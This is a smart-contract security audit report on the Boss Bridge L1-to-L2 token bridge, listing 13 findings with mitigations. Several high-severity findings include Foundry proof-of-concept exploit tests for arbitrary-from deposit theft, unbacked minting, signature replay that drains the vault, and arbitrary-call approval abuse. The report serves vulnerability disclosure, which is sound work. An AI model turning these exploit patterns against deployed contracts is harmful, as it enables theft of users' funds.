



Boss Bridge Audit Report

Version 1.0

khal45

October 19, 2025

Boss Bridge Audit Report

khal45

19th October, 2025

Prepared by: khal45 Lead Auditors:

- khal45

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - [H-1] Arbitrary `from` in `L1BossBridge::depositTokensToL2` allows an attacker to deposit a user's token to the L2
 - [H-2] Using `create` opcode in `TokenFactory::deployToken` will not work on zkSync
 - [H-3] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
 - [H-4] Lack of `nonce` in `BossBridge::sendToL1` allows signature replay attacks

- [H-5] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds
- [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
- [L-1] Lack of event emission during withdrawals and sending tokens to L1
- [L-2]: Unsafe ERC20 Operation
- [L-3]: Address State Variable Set Without Checks
- [L-4]: Unchecked Return
- [I-1]: Public Function Not Used Internally
- [I-2]: State Variable Could Be Constant
- [I-3]: State Variable Could Be Immutable

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's a strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching [L1BossBridge](#) on both Ethereum Mainnet and ZKSync.

Disclaimer

Khal45 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact				
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
1 ./src/  
2 -- L1BossBridge.sol  
3 -- L1Token.sol  
4 -- L1Vault.sol  
5 -- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
 - pause/unpause the bridge in the event of an emergency
 - set `Signers` (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Over the course of the security review, khal45 engaged with the boss bridge protocol to review it. In this period of time a total of 13 issues were found

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	4
Info	3
Total	13

Findings

[H-1] Arbitrary from in L1BossBridge::depositTokensToL2 allows an attacker to deposit a user's token to the L2

Description: `depositTokensToL2` is meant to allow a user to deposit their tokens to the vault however, the function takes a `from` as parameter thereby allowing anybody to call the function with `from` set to a user that has approved the vault to spend their tokens.

```
1 @> function depositTokensToL2(address from, address l2Recipient,  
    uint256 amount) external whenNotPaused {  
2     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {  
3         revert L1BossBridge__DepositLimitReached();  
4     }  
5     token.safeTransferFrom(from, address(vault), amount);  
6  
7     // Our off-chain service picks up this event and mints the  
    corresponding tokens on L2  
8     emit Deposit(from, l2Recipient, amount);  
9 }
```

Impact: A malicious actor can deposit a user's tokens before the user can deposit it if, the user has already approved the bridge to spend their tokens

Proof of Concept: Consider the following scenario:

1. Alice approves the bridge to spend her tokens
2. Bob notices the approval and calls `depositTokensToL2` before Alice can call the function
3. Alice now tries to call the function but it reverts

Add the following test to `L1TokenBridge.t.sol`

```
1 function test_arbitrary_from_exploit() public {
2     // user approves tokenBridge to spend their tokens
3     vm.prank(user);
4     uint256 amount = 10e18;
5     token.approve(address(tokenBridge), amount);
6
7     address attacker = makeAddr("attacker");
8     address attackerInL2 = makeAddr("attackerinl2");
9     // attacker deposits user's getTokenBalances
10    vm.prank(attacker);
11    tokenBridge.depositTokensToL2(user, attackerInL2, amount);
12
13    assertEq(token.balanceOf(address(tokenBridge)), 0);
14    assertEq(token.balanceOf(address(vault)), amount);
15
16    // now user tries to deposit their own tokens but it reverts
17    vm.prank(user);
18    vm.expectRevert();
19    tokenBridge.depositTokensToL2(user, userInL2, amount);
20 }
```

Recommended Mitigation: Remove the `from` parameter entirely and instead transfer from `msg.sender`

```
1 - function depositTokensToL2(address from, address l2Recipient, uint256
   amount) external whenNotPaused {
2 + function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
3     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4         revert L1BossBridge__DepositLimitReached();
5     }
6 -     token.safeTransferFrom(from, address(vault), amount);
7 +     token.safeTransferFrom(msg.sender, address(vault), amount);
8
9     // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
10    emit Deposit(from, l2Recipient, amount);
11 }
```

This ensures a malicious actor can't deposit another user's tokens

[H-2] Using `create` opcode in `TokenFactory::deployToken` will not work on zksync

Description: `deployToken` uses `create` opcode to deploy a new token. While this will work fine on ethereum, it won't on zksync. The `create` opcode does not function correctly on zkSync Era due to fundamental differences in how the chain handles contract deployment compared to the standard Ethereum Virtual Machine (EVM). Specifically, zkSync requires the compiler to be aware of the bytecode

of the contract being deployed in advance, which is not the case when using the create opcode for arbitrary code unknown to the compiler.

```
1 function deployToken(string memory symbol, bytes memory
   contractBytecode) public onlyOwner returns (address addr) {
2   @> assembly {
3   @> addr := create(0, add(contractBytecode, 0x20), mload(
   contractBytecode))
4   }
5   s_tokenToAddress[symbol] = addr;
6   emit TokenDeployed(symbol, addr);
7 }
```

Impact: `deployToken` won't deploy new tokens but fail silently

Proof of Concept: Read more about `zkSync` evm instructions in the docs

Recommended Mitigation: Remove the create opcode entirely and instead deploy the contracts with regular solidity

[H-3] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken. Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Impact: An attacker can mint any number of unbacked tokens on the L2

Proof of Concept: Add the following test to `L1TokenBridge.t.sol`

```
1 function test_can_transfer_from_vault_to_vault() public {
2   address attacker = makeAddr("attacker");
3
4   uint256 vaultBalance = 500 ether;
5   deal(address(token), address(vault), vaultBalance);
6
7   // can triggering the deposit event, self transfer tokens to
   the vault?
8   vm.expectEmit(address(tokenBridge));
9   emit Deposit(address(vault), attacker, vaultBalance);
10  tokenBridge.depositTokensToL2(address(vault), attacker,
   vaultBalance);
11
12  // can do this forever?
13  vm.expectEmit(address(tokenBridge));
```

```
14     emit Deposit(address(vault), attacker, vaultBalance);
15     tokenBridge.depositTokensToL2(address(vault), attacker,
16         vaultBalance);
16 }
```

Recommended Mitigation: As suggested in H-1, remove the `from` parameter entirely and instead transfer from `msg.sender`

[H-4] Lack of nonce in BossBridge::sendToL1 allows signature replay attacks

Description: `sendToL1` is meant to verify a signature and send the tokens from the L2 to the L1 however, since the `v`, `r` & `s` components of the signature are visible onchain, the signature can be reused multiple times to potentially drain the L2 vault

Impact: An attacker can drain the L2 vault by using the same signature to send tokens they did not deposit over and over

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`

```
1     function test_signature_replay() public {
2         address attacker = makeAddr("attacker");
3         // assume the vault already holds some balance
4         uint256 vaultInitialBalance = 1000e18;
5         uint256 attackerInitialBalance = 100e18;
6         deal(address(token), address(vault), vaultInitialBalance);
7         deal(address(token), address(attacker), attackerInitialBalance)
8         ;
9         // An attacker deposits tokens to L2
10        vm.startPrank(attacker);
11        token.approve(address(tokenBridge), type(uint256).max);
12        tokenBridge.depositTokensToL2(attacker, attacker,
13            attackerInitialBalance);
14        // Signer / operator is going to sign the withdrawal
15        bytes memory message = abi.encode(
16            address(token), 0, abi.encodeCall(IERC20.transferFrom, (
17                address(vault), attacker, attackerInitialBalance))
18        );
19        (uint8 v, bytes32 r, bytes32 s) =
20            vm.sign(operator.key, MessageHashUtils.
21                toEthSignedMessageHash(keccak256(message)));
22        while (token.balanceOf(address(vault)) > 0) {
23            tokenBridge.withdrawTokensToL1(attacker,
24                attackerInitialBalance, v, r, s);
25        }
26    }
```



```
23
24     assertEq(token.balanceOf(address(attacker)),
25               attackerInitialBalance + vaultInitialBalance);
26     assertEq(token.balanceOf(address(vault)), 0);
27 }
```

Recommended Mitigation: consider signing the messages with a `nonce` and the address of the contract so that the signature is only valid once

[H-5] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

Description: The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes its approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: An attacker can give themselves infinite allowance of vault funds and drain the vault

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`

```
1 function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2     address attacker = makeAddr("attacker");
3     // assume the vault already holds some balance
4     uint256 vaultInitialBalance = 1000e18;
5     uint256 amountToDeposit = 0;
6     deal(address(token), address(vault), vaultInitialBalance);
7
8     vm.startPrank(attacker);
9     vm.expectEmit(address(tokenBridge));
10    emit Deposit(address(attacker), address(0), 0);
11    tokenBridge.depositTokensToL2(attacker, address(0),
12                                amountToDeposit);
13
14    bytes memory message = abi.encode(
15        address(vault), // target
16        0, // value
17        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
18            uint256).max)) // data
19    );
20    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
21                                                    operator.key);
```

```
19
20     tokenBridge.sendToL1(v, r, s, message);
21     assertEq(token.allowance(address(vault), attacker), type(
22         uint256).max);
23     token.transferFrom(address(vault), attacker, token.balanceOf(
24         address(vault)));
25     assertEq(token.balanceOf(attacker), vaultInitialBalance);
26     assertEq(token.balanceOf(address(vault)), 0);
27     vm.stopPrank();
28 }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Neither the sendToL1 function nor the withdrawTokensToL1 function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the sendToL1 function to include a new event that is always emitted upon completing withdrawals.

[L-2]: Unsafe ERC20 Operation

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
1          abi.encodeCall(IERC20.transferFrom, (address(vault
          ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
1          token.approve(target, amount);
```

[L-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
1          token = _token;
```

[L-4]: Unchecked Return

Function returns a value but it is ignored. Consider checking the return value.

1 Found Instances

- Found in src/L1Vault.sol Line: 20

```
1          token.approve(target, amount);
```

[I-1]: Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as `external`.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
1          function deployToken(string memory symbol, bytes memory
          contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
1          function getTokenAddressFromSymbol(string memory symbol)
          public view returns (address addr) {
```

[I-2]: State Variable Could Be Constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
1      uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[I-3]: State Variable Could Be Immutable

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
1      IERC20 public token;
```